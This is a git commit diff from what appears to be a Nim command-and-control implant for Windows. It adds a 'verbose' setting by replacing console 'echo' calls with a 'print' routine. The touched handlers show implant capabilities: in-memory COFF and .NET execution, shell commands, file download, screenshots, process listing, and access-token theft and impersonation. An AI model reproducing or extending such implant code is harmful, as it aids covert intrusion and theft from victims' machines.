Implemented setting for verbose mode that prints debug messages in the windows where the agent is executed. Setting "verbose" to false disables all console output of the agent program.

This commit is contained in:
Jakob Friedl
2025-10-20 22:08:06 +02:00
parent 382e31c439
commit 0bf717992e
24 changed files with 119 additions and 78 deletions

View File

@@ -30,7 +30,7 @@ when not defined(agent):
when defined(agent):
import osproc, strutils, strformat
import ../agent/core/coff
import ../agent/core/[coff, io]
import ../agent/protocol/result
import ../common/[utils, serialize]
@@ -57,7 +57,7 @@ when defined(agent):
fileName = unpacker.getDataWithLengthPrefix()
objectFileContents = unpacker.getDataWithLengthPrefix()
echo fmt" [>] Executing object file {fileName}."
print fmt" [>] Executing object file {fileName}."
let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments)
if output != "":

View File

@@ -30,7 +30,7 @@ when not defined(agent):
when defined(agent):
import strutils, strformat
import ../agent/core/clr
import ../agent/core/[clr, io]
import ../agent/protocol/result
import ../common/[utils, serialize]
@@ -56,7 +56,7 @@ when defined(agent):
fileName = unpacker.getDataWithLengthPrefix()
assemblyBytes = unpacker.getDataWithLengthPrefix()
echo fmt" [>] Executing .NET assembly {fileName}."
print fmt" [>] Executing .NET assembly {fileName}."
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
if output != "":

View File

@@ -101,13 +101,14 @@ when not defined(agent):
when defined(agent):
import os, strutils, strformat, times, algorithm, winim
import ../agent/core/io
import ../agent/protocol/result
import ../common/utils
# Retrieve current working directory
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
echo protect(" [>] Retrieving current working directory.")
print protect(" [>] Retrieving current working directory.")
try:
# Get current working directory using GetCurrentDirectory
@@ -131,7 +132,7 @@ when defined(agent):
# Parse arguments
let targetDirectory = Bytes.toString(task.args[0].data)
echo protect(" [>] Changing current working directory to {targetDirectory}.")
print protect(" [>] Changing current working directory to {targetDirectory}.")
try:
# Get current working directory using GetCurrentDirectory
@@ -168,7 +169,7 @@ when defined(agent):
else:
discard
echo fmt" [>] Listing files and directories in {targetDirectory}."
print fmt" [>] Listing files and directories in {targetDirectory}."
# Prepare search pattern (target directory + \*)
let searchPattern = targetDirectory & "\\*"
@@ -300,7 +301,7 @@ when defined(agent):
# Parse arguments
let target = Bytes.toString(task.args[0].data)
echo fmt" [>] Deleting file {target}."
print fmt" [>] Deleting file {target}."
try:
if DeleteFile(target) == FALSE:
@@ -318,7 +319,7 @@ when defined(agent):
# Parse arguments
let target = Bytes.toString(task.args[0].data)
echo fmt" [>] Deleting directory {target}."
print fmt" [>] Deleting directory {target}."
try:
if RemoveDirectoryA(target) == FALSE:
@@ -337,7 +338,7 @@ when defined(agent):
lpExistingFileName = Bytes.toString(task.args[0].data)
lpNewFileName = Bytes.toString(task.args[1].data)
echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
print fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
try:
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
@@ -357,7 +358,7 @@ when defined(agent):
lpExistingFileName = Bytes.toString(task.args[0].data)
lpNewFileName = Bytes.toString(task.args[1].data)
echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
print fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
try:
# Copy file to new location, overwrite if a file with the same name already exists

View File

@@ -41,6 +41,7 @@ when not defined(agent):
when defined(agent):
import os, std/paths, strutils, strformat
import ../agent/core/io
import ../agent/protocol/result
import ../common/[utils, serialize]
@@ -48,7 +49,7 @@ when defined(agent):
try:
var filePath: string = absolutePath(Bytes.toString(task.args[0].data))
echo fmt" [>] Downloading {filePath}"
print fmt" [>] Downloading {filePath}"
# Read file contents into memory and return them as the result
var fileBytes = readFile(filePath)
@@ -71,7 +72,7 @@ when defined(agent):
try:
var arg: string = Bytes.toString(task.args[0].data)
echo arg
print arg
# Parse binary argument
var unpacker = Unpacker.init(arg)

View File

@@ -30,6 +30,7 @@ when defined(agent):
import winim/inc/wingdi
import strutils, strformat, times, pixie
import stb_image/write as stbiw
import ../agent/core/io
import ../agent/protocol/result
import ../common/[utils, serialize]
@@ -155,7 +156,7 @@ when defined(agent):
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
try:
echo protect(" [>] Taking and uploading screenshot.")
print protect(" [>] Taking and uploading screenshot.")
let
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"

View File

@@ -30,6 +30,7 @@ when not defined(agent):
when defined(agent):
import osproc, strutils, strformat
import ../agent/core/io
import ../agent/protocol/result
import ../common/utils
@@ -50,7 +51,7 @@ when defined(agent):
for arg in task.args[1..^1]:
arguments &= Bytes.toString(arg.data) & " "
echo fmt" [>] Executing command: {command} {arguments}"
print fmt" [>] Executing command: {command} {arguments}"
let (output, status) = execCmdEx(fmt("{command} {arguments}"))

View File

@@ -42,6 +42,7 @@ when not defined(agent):
when defined(agent):
import os, strutils, strformat
import ../agent/core/io
import ../agent/protocol/result
import ../common/utils
@@ -52,7 +53,7 @@ when defined(agent):
let delay = int(Bytes.toUint32(task.args[0].data))
# Updating sleep in agent context
echo fmt" [>] Setting sleep delay to {delay} seconds."
print fmt" [>] Setting sleep delay to {delay} seconds."
ctx.sleep = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -63,7 +64,7 @@ when defined(agent):
proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Updating sleepmask settings."
print fmt" [>] Updating sleepmask settings."
case int(task.argCount):
of 0:

View File

@@ -38,6 +38,7 @@ when defined(agent):
import winim
import os, strutils, sequtils, strformat, tables, algorithm
import ../agent/core/io
import ../agent/protocol/result
import ../common/utils
@@ -51,7 +52,7 @@ when defined(agent):
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
echo protect(" [>] Listing running processes.")
print protect(" [>] Listing running processes.")
try:
var processes: seq[DWORD] = @[]
@@ -125,7 +126,7 @@ when defined(agent):
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
echo protect(" [>] Displaying environment variables.")
print protect(" [>] Displaying environment variables.")
try:
var output: string = ""

View File

@@ -88,13 +88,13 @@ when not defined(agent):
when defined(agent):
import winim, strutils, strformat
import ../agent/core/[token, io]
import ../agent/protocol/result
import ../agent/core/token
import ../common/utils
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Creating access token from username and password."
print fmt" [>] Creating access token from username and password."
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
var
@@ -119,7 +119,7 @@ when defined(agent):
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Stealing access token."
print fmt" [>] Stealing access token."
let pid = int(Bytes.toUint32(task.args[0].data))
let username = stealToken(pid)
@@ -131,7 +131,7 @@ when defined(agent):
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Reverting access token."
print fmt" [>] Reverting access token."
rev2self()
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -140,7 +140,7 @@ when defined(agent):
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Retrieving token information."
print fmt" [>] Retrieving token information."
let tokenInfo = getCurrentToken().getTokenInfo()
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo))
@@ -149,7 +149,7 @@ when defined(agent):
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Enabling token privilege."
print fmt" [>] Enabling token privilege."
let privilege = Bytes.toString(task.args[0].data)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege)))
@@ -158,7 +158,7 @@ when defined(agent):
proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Disabling token privilege."
print fmt" [>] Disabling token privilege."
let privilege = Bytes.toString(task.args[0].data)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege, false)))